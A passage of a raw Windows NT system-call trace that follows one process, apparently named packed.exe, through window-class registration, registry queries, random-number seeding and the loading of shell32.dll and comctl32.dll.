 00377  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 676, 128, 0, ... ) == 0x81738002
 00378  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10013
 00379  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 677, 128, 0, ... ) == 0x8173c018
 00380  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00381  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 678, 128, 0, ... ) == 0x8173c01a
 00382  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00383  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 679, 128, 0, ... ) == 0x8173c01d
 00384  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00385  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 681, 128, 0, ... ) == 0x8173c026
 00386  1356   NtUserFindExistingCursorIcon  (1241132, 1241148, 1241196, ... ) == 0x10011
 00387  1356   NtUserRegisterClassExWOW  (1241144, 1241212, 1241228, 1241244, 680, 128, 0, ... ) == 0x8173c019
 00388  1356   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8173c020
 00389  1356   NtUserRegisterClassExWOW  (1241352, 1241448, 1241432, 1241420, 0, 130, 0, ... ) == 0x8173c022
 00390  1356   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8173c023
 00391  1356   NtUserRegisterClassExWOW  (1241352, 1241448, 1241432, 1241420, 0, 130, 0, ... ) == 0x8173c024
 00392  1356   NtUserRegisterClassExWOW  (1241096, 1241164, 1241180, 1241196, 0, 128, 0, ... ) == 0x8173c025
 00393  1356   NtCallbackReturn  (0, 0, 0, ...
 00394  1356   NtGdiInit  (... ) == 0x1
 00395  1356   NtGdiGetStockObject  (18, ... ) == 0x290001c
 00396  1356   NtGdiGetStockObject  (19, ... ) == 0x1b00019
 00397  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00398  1356   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 8519680, 65536, ) == 0x0
 00399  1356   NtAllocateVirtualMemory  (-1, 8519680, 0, 4096, 4096, 4, ... 8519680, 4096, ) == 0x0
 00400  1356   NtAllocateVirtualMemory  (-1, 8523776, 0, 8192, 4096, 4, ... 8523776, 8192, ) == 0x0
 00401  1356   NtAllocateVirtualMemory  (-1, 8531968, 0, 4096, 4096, 4, ... 8531968, 4096, ) == 0x0
 00402  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionCType"}, ... 44, ) }, ... 44, ) == 0x0
 00403  1356   NtMapViewOfSection  (44, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x830000), 0x0, 12288, ) == 0x0
 00404  1356   NtClose  (44, ... ) == 0x0
 00405  1356   NtAllocateVirtualMemory  (-1, 8536064, 0, 4096, 4096, 4, ... 8536064, 4096, ) == 0x0
 00406  1356   NtQueryVirtualMemory  (-1, 0x77c2807c, Basic, 28, ... {BaseAddress=0x77c28000,AllocationBase=0x77c10000,AllocationProtect=0x80,RegionSize=0x35000,State=0x1000,Protect=0x20,Type=0x1000000,}, 28, ) == 0x0
 00407  1356   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00408  1356   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00409  1356   NtQueryVirtualMemory  (-1, 0x0, Basic, 28, ... {BaseAddress=0x0,AllocationBase=0x0,AllocationProtect=0x0,RegionSize=0x10000,State=0x10000,Protect=0x1,Type=0x0,}, 28, ) == 0x0
 00410  1356   NtAllocateVirtualMemory  (-1, 1331200, 0, 4096, 4096, 4, ... 1331200, 4096, ) == 0x0
 00411  1356   NtOpenFile  (0x100001, {24, 0, 0x40, 0, 0,  (0x100001, {24, 0, 0x40, 0, 0, "\Device\KsecDD"}, 7, 16, ... 44, {status=0x0, info=0}, ) }, 7, 16, ... 44, {status=0x0, info=0}, ) == 0x0
 00412  1356   NtDeviceIoControlFile  (44, 0, 0x0, 0x0, 0x390008,  (44, 0, 0x0, 0x0, 0x390008, "\357\335\320\1\203vo9\257\251r\366\244\11\245#\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 256, 256, ... , 256, 256, ...
 00413  1356   NtQuerySystemInformation  (TimeOfDay, 48, ... {system info, class 3, size 48}, 48, ) == 0x0
 00414  1356   NtQuerySystemInformation  (ProcessorTimes, 48, ... {system info, class 8, size 48}, 48, ) == 0x0
 00415  1356   NtQuerySystemInformation  (Performance, 312, ... {system info, class 2, size 312}, 312, ) == 0x0
 00416  1356   NtQuerySystemInformation  (Exception, 16, ... {system info, class 33, size 16}, 16, ) == 0x0
 00417  1356   NtQuerySystemInformation  (Lookaside, 32, ... {system info, class 45, size 32}, 32, ) == 0x0
 00418  1356   NtQuerySystemInformation  (ProcessorStatistics, 3016, ... {system info, class 23, size 0}, 0, ) == 0x0
 00419  1356   NtQuerySystemInformation  (ProcessesAndThreads, 3008, ... ) == STATUS_INFO_LENGTH_MISMATCH
 00420  1356   NtCreateKey  (0x2, {24, 0, 0x240, 0, 0,  (0x2, {24, 0, 0x240, 0, 0, "\Registry\Machine\SOFTWARE\Microsoft\Cryptography\RNG"}, 0, 0x0, 0, ... -2147481460, 2, ) }, 0, 0x0, 0, ... -2147481460, 2, ) == 0x0
 00421  1356   NtSetValueKey  (-2147481460,  (-2147481460, "Seed", 0, 3, "\216\221\321\301\266\321>A\354\206\33x\220\332\337L\250\11A\17e\323\17\256a-\203E\342z\231\213\7au\10\217\37\263\255\16\212BR\207+\251}\241F\374\326\220\226P\12\307\201\237\267\217\277wn\376\354\326\215\352\210\220\257}\305\2571\366\177.\272", 80, ... ) , 0, 3,  (-2147481460, "Seed", 0, 3, "\216\221\321\301\266\321>A\354\206\33x\220\332\337L\250\11A\17e\323\17\256a-\203E\342z\231\213\7au\10\217\37\263\255\16\212BR\207+\251}\241F\374\326\220\226P\12\307\201\237\267\217\277wn\376\354\326\215\352\210\220\257}\305\2571\366\177.\272", 80, ... ) , 80, ... ) == 0x0
 00422  1356   NtClose  (-2147481460, ... ) == 0x0
 00412  1356   NtDeviceIoControlFile  ... {status=0x0, info=256},  ... {status=0x0, info=256}, "s\366\353\216\301`\336\276\31(\357\231%\346\311A\341ldYf\316\14\330\16\5\247\253\265\313\365\205\323\336.\262q\205\12\227\274\372W\352\376d\371\305f\226\\6\5l%\230\247\234CkL\311\253\37\\8y\275\35K\16\221\207\217/\351\250##\361|\224\205\277\374R\364\24\345\233\330\6\1\321\233c\212\3C\237\270z\322[\346\234L=\311(~#@l\242#\336v\371\314I\325\264\377\332u^\227\\3049\231\27\216\203\252V\3255w\26\275\272\2431wz\2\340=\377O\6\166\337c\325\333\377\24\364S\310\237\23Mz)\346v\234\372\22\217\15\366\12\370e\306\343\312\304\376\2\3|\340\300)_\321z\346\350\306\227WZ\16\302-T\373\246\332\255\365\352\231gk\210F\244\213\326\272\6\223<\3460\246t\360A\234\264\254\2321\333\14y\6\344\247\226\\264pP\315$d\364\312\243,1\3551\271", ) , ) == 0x0
 00423  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00424  1356   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00425  1356   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "SYSTEM\CurrentControlSet\Control\Session Manager"}, ... 48, ) }, ... 48, ) == 0x0
 00426  1356   NtQueryValueKey  (48,  (48, "CriticalSectionTimeout", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\215'\0"}, 16, ) , Partial, 144, ... TitleIdx=0, Type=4, Data= (48, "CriticalSectionTimeout", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\215'\0"}, 16, ) }, 16, ) == 0x0
 00427  1356   NtClose  (48, ... ) == 0x0
 00428  1356   NtOpenKey  (0x20019, {24, 16, 0x40, 0, 0,  (0x20019, {24, 16, 0x40, 0, 0, "Software\Microsoft\Ole"}, ... 48, ) }, ... 48, ) == 0x0
 00429  1356   NtQueryValueKey  (48,  (48, "RWLockResourceTimeOut", Partial, 144, ... ) , Partial, 144, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00430  1356   NtClose  (48, ... ) == 0x0
 00431  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00432  1356   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00433  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00434  1356   NtQuerySystemInformation  (Processor, 12, ... {system info, class 1, size 12}, 0x0, ) == 0x0
 00435  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Classes\Interface"}, ... 48, ) }, ... 48, ) == 0x0
 00436  1356   NtQueryValueKey  (48,  (48, "InterfaceHelperDisableAll", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00437  1356   NtQueryValueKey  (48,  (48, "InterfaceHelperDisableAllForOle32", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00438  1356   NtQueryValueKey  (48,  (48, "InterfaceHelperDisableTypeLib", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00439  1356   NtClose  (48, ... ) == 0x0
 00440  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}"}, ... 48, ) }, ... 48, ) == 0x0
 00441  1356   NtQueryValueKey  (48,  (48, "InterfaceHelperDisableAll", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00442  1356   NtQueryValueKey  (48,  (48, "InterfaceHelperDisableAllForOle32", Full, 0, ... ) , Full, 0, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00443  1356   NtClose  (48, ... ) == 0x0
 00444  1356   NtOpenDirectoryObject  (0x2000f, {24, 0, 0x40, 0, 0,  (0x2000f, {24, 0, 0x40, 0, 0, "\BaseNamedObjects"}, ... 48, ) }, ... 48, ) == 0x0
 00445  1356   NtOpenEvent  (0x1f0003, {24, 48, 0x0, 0, 0,  (0x1f0003, {24, 48, 0x0, 0, 0, "HookSwitchHookEnabledEvent"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00446  1356   NtUserRegisterWindowMessage  ( ("{FB8F0821-0164-101B-84ED-08002B2EC713}", ... ) , ... ) == 0xc077
 00447  1356   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00448  1356   NtOpenKey  (0x9, {24, 16, 0x40, 0, 0,  (0x9, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT\UserEra"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00449  1356   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "SOFTWARE\Microsoft\OLEAUT"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00450  1356   NtOpenKey  (0x2000000, {24, 16, 0x40, 0, 0,  (0x2000000, {24, 16, 0x40, 0, 0, "Software\Microsoft\Windows\CurrentVersion\Explorer\Performance"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00451  1356   NtCreateSemaphore  (0x1f0003, {24, 48, 0x80, 1333784, 0,  (0x1f0003, {24, 48, 0x80, 1333784, 0, "shell.{A48F1A32-A340-11D1-BC6B-00A0C90312E1}"}, 0, 2147483647, ... 52, ) }, 0, 2147483647, ... 52, ) == STATUS_OBJECT_NAME_EXISTS
 00452  1356   NtOpenKey  (0x1, {24, 16, 0x40, 0, 0,  (0x1, {24, 16, 0x40, 0, 0, "SYSTEM\Setup"}, ... 56, ) }, ... 56, ) == 0x0
 00453  1356   NtQueryValueKey  (56,  (56, "SystemSetupInProgress", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 144, ... TitleIdx=0, Type=4, Data= (56, "SystemSetupInProgress", Partial, 144, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00454  1356   NtClose  (56, ... ) == 0x0
 00455  1356   NtQueryDefaultUILanguage  (1241692, ...
 00456  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00457  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147481460, ) == 0x0
 00458  1356   NtQueryInformationToken  (-2147481460, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00459  1356   NtClose  (-2147481460, ... ) == 0x0
 00460  1356   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147481460, ) }, ... -2147481460, ) == 0x0
 00461  1356   NtOpenKey  (0x80000000, {24, -2147481460, 0x240, 0, 0,  (0x80000000, {24, -2147481460, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00462  1356   NtOpenKey  (0x80000000, {24, -2147481460, 0x640, 0, 0,  (0x80000000, {24, -2147481460, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147482652, ) }, ... -2147482652, ) == 0x0
 00463  1356   NtQueryValueKey  (-2147482652,  (-2147482652, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00464  1356   NtClose  (-2147482652, ... ) == 0x0
 00465  1356   NtClose  (-2147481460, ... ) == 0x0
 00455  1356   NtQueryDefaultUILanguage  ... ) == 0x0
 00466  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\shell32.dll"}, 1, 96, ... 56, {status=0x0, info=1}, ) }, 1, 96, ... 56, {status=0x0, info=1}, ) == 0x0
 00467  1356   NtCreateSection  (0x4, 0x0, 0x0, 2, 134217728, 56, ... 60, ) == 0x0
 00468  1356   NtMapViewOfSection  (60, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 2, ... (0x840000), 0x0, 8462336, ) == 0x0
 00469  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\shell32.dll.124.Manifest"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00470  1356   NtQueryDefaultUILanguage  (2090319928, ...
 00471  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00472  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147482576, ) == 0x0
 00473  1356   NtQueryInformationToken  (-2147482576, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00474  1356   NtClose  (-2147482576, ... ) == 0x0
 00475  1356   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147482576, ) }, ... -2147482576, ) == 0x0
 00476  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x240, 0, 0,  (0x80000000, {24, -2147482576, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00477  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x640, 0, 0,  (0x80000000, {24, -2147482576, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147482648, ) }, ... -2147482648, ) == 0x0
 00478  1356   NtQueryValueKey  (-2147482648,  (-2147482648, "MultiUILanguageId", Partial, 256, ... ) , Partial, 256, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00479  1356   NtClose  (-2147482648, ... ) == 0x0
 00480  1356   NtClose  (-2147482576, ... ) == 0x0
 00470  1356   NtQueryDefaultUILanguage  ... ) == 0x0
 00481  1356   NtQueryInstallUILanguage  (2090319930, ... ) == 0x0
 00482  1356   NtQueryDefaultLocale  (1, 1239788, ... ) == 0x0
 00483  1356   NtOpenFile  (0x1200a9, {24, 0, 0x40, 0, 0,  (0x1200a9, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\system32\shell32.dll.124.Config"}, 1, 96, ... ) }, 1, 96, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00484  1356   NtRequestWaitReplyPort  (24, {128, 156, new_msg, 0, 2088850039, 1240824, 1179817, 1240548}  (24, {128, 156, new_msg, 0, 2088850039, 1240824, 1179817, 1240548} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\18\0\0\0\377\377\377\377\0\0\0\0@ \247\0\0\0\0\0\236\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\354\362\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75543, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\18\0\0\0\377\377\377\377\0\0\0\0@ \247\0\0\0\0\0\236\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\354\362\22\0\0\0\0\0" )  ... {128, 156, reply, 0, 220, 1356, 75543, 0}  (24, {128, 156, new_msg, 0, 2088850039, 1240824, 1179817, 1240548} "\210\6$\1\33\0\1\0`\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\18\0\0\0\377\377\377\377\0\0\0\0@ \247\0\0\0\0\0\236\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\354\362\22\0\0\0\0\0" ... {128, 156, reply, 0, 220, 1356, 75543, 0} "\300\270\26\0\33\0\1\0\0\0\0\0\0\0\0\0\1\0\0\0\0\0\11\4\1\1\1\0>\0@\0\250\6$\18\0\0\0\377\377\377\377\0\0\0\0@ \247\0\0\0\0\0\236\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0(\0,\0\350\6$\1\0\0\0\0\0\0\0\0\354\362\22\0\0\0\0\0" )  ) == 0x0
 00485  1356   NtClose  (56, ... ) == 0x0
 00486  1356   NtClose  (60, ... ) == 0x0
 00487  1356   NtUnmapViewOfSection  (-1, 0x840000, ... ) == 0x0
 00488  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00489  1356   NtAllocateVirtualMemory  (-1, 1335296, 0, 4096, 4096, 4, ... 1335296, 4096, ) == 0x0
 00490  1356   NtOpenKey  (0x8, {24, 0, 0x40, 0, 0,  (0x8, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00491  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00492  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00493  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe.Local\"}, 1238980, ... ) }, 1238980, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00494  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00495  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00496  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00497  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03"}, 1239044, ... ) }, 1239044, ... ) == 0x0
 00498  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03"}, 3, 33, ... 60, {status=0x0, info=1}, ) }, 3, 33, ... 60, {status=0x0, info=1}, ) == 0x0
 00499  1356   NtQueryDebugFilterState  (53, 2, ... ) == 0x0
 00500  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll"}, 5, 96, ... 56, {status=0x0, info=1}, ) }, 5, 96, ... 56, {status=0x0, info=1}, ) == 0x0
 00501  1356   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 56, ... 64, ) == 0x0
 00502  1356   NtClose  (56, ... ) == 0x0
 00503  1356   NtMapViewOfSection  (64, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x840000), 0x0, 1056768, ) == 0x0
 00504  1356   NtClose  (64, ... ) == 0x0
 00505  1356   NtUnmapViewOfSection  (-1, 0x840000, ... ) == 0x0
 00506  1356   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03\comctl32.dll"}, 5, 96, ... 64, {status=0x0, info=1}, ) }, 5, 96, ... 64, {status=0x0, info=1}, ) == 0x0
 00507  1356   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 64, ... 56, ) == 0x0
 00508  1356   NtQuerySection  (56, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00509  1356   NtClose  (64, ... ) == 0x0
 00510  1356   NtMapViewOfSection  (56, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x773d0000), 0x0, 1060864, ) == 0x0
 00511  1356   NtClose  (56, ... ) == 0x0
 00512  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00513  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00514  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00515  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00516  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00517  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00518  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00519  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00520  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00521  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00522  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00523  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00524  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00525  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00526  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00527  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00528  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00529  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00530  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 1924, 4, ... (0x773d1000), 4096, 32, ) == 0x0
 00531  1356   NtProtectVirtualMemory  (-1, (0x773d1000), 4096, 32, ... (0x773d1000), 4096, 4, ) == 0x0
 00532  1356   NtFlushInstructionCache  (-1, 2000490496, 1924, ... ) == 0x0
 00533  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\comctl32.dll"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00534  1356   NtAddAtom  ( ("T\0h\0e\0m\0e\0P\0r\0o\0p\0S\0c\0r\0o\0l\0l\0B\0a\0r\0C\0t\0l\0", 42, 1240524, ... ) , 42, 1240524, ... ) == 0x0
 00535  1356   NtQueryDefaultUILanguage  (1239208, ...
 00536  1356   NtOpenThreadTokenEx  (-2, 0x20008, 1, 512, ... ) == STATUS_NO_TOKEN
 00537  1356   NtOpenProcessTokenEx  (-1, 0x20008, 512, ... -2147482576, ) == 0x0
 00538  1356   NtQueryInformationToken  (-2147482576, User, 80, ... {token info, class 1, size 36}, 36, ) == 0x0
 00539  1356   NtClose  (-2147482576, ... ) == 0x0
 00540  1356   NtOpenKey  (0x2000000, {24, 0, 0x640, 0, 0,  (0x2000000, {24, 0, 0x640, 0, 0, "\REGISTRY\USER\S-1-5-21-1292428093-1383384898-725345543-1003"}, ... -2147482576, ) }, ... -2147482576, ) == 0x0
 00541  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x240, 0, 0,  (0x80000000, {24, -2147482576, 0x240, 0, 0, "Software\Policies\Microsoft\Control Panel\Desktop"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00542  1356   NtOpenKey  (0x80000000, {24, -2147482576, 0x640, 0, 0,  (0x80000000, {24, -2147482576, 0x640, 0, 0, "Control Panel\Desktop"}, ... -2147482648, ) }, ... -2147482648, ) == 0x0
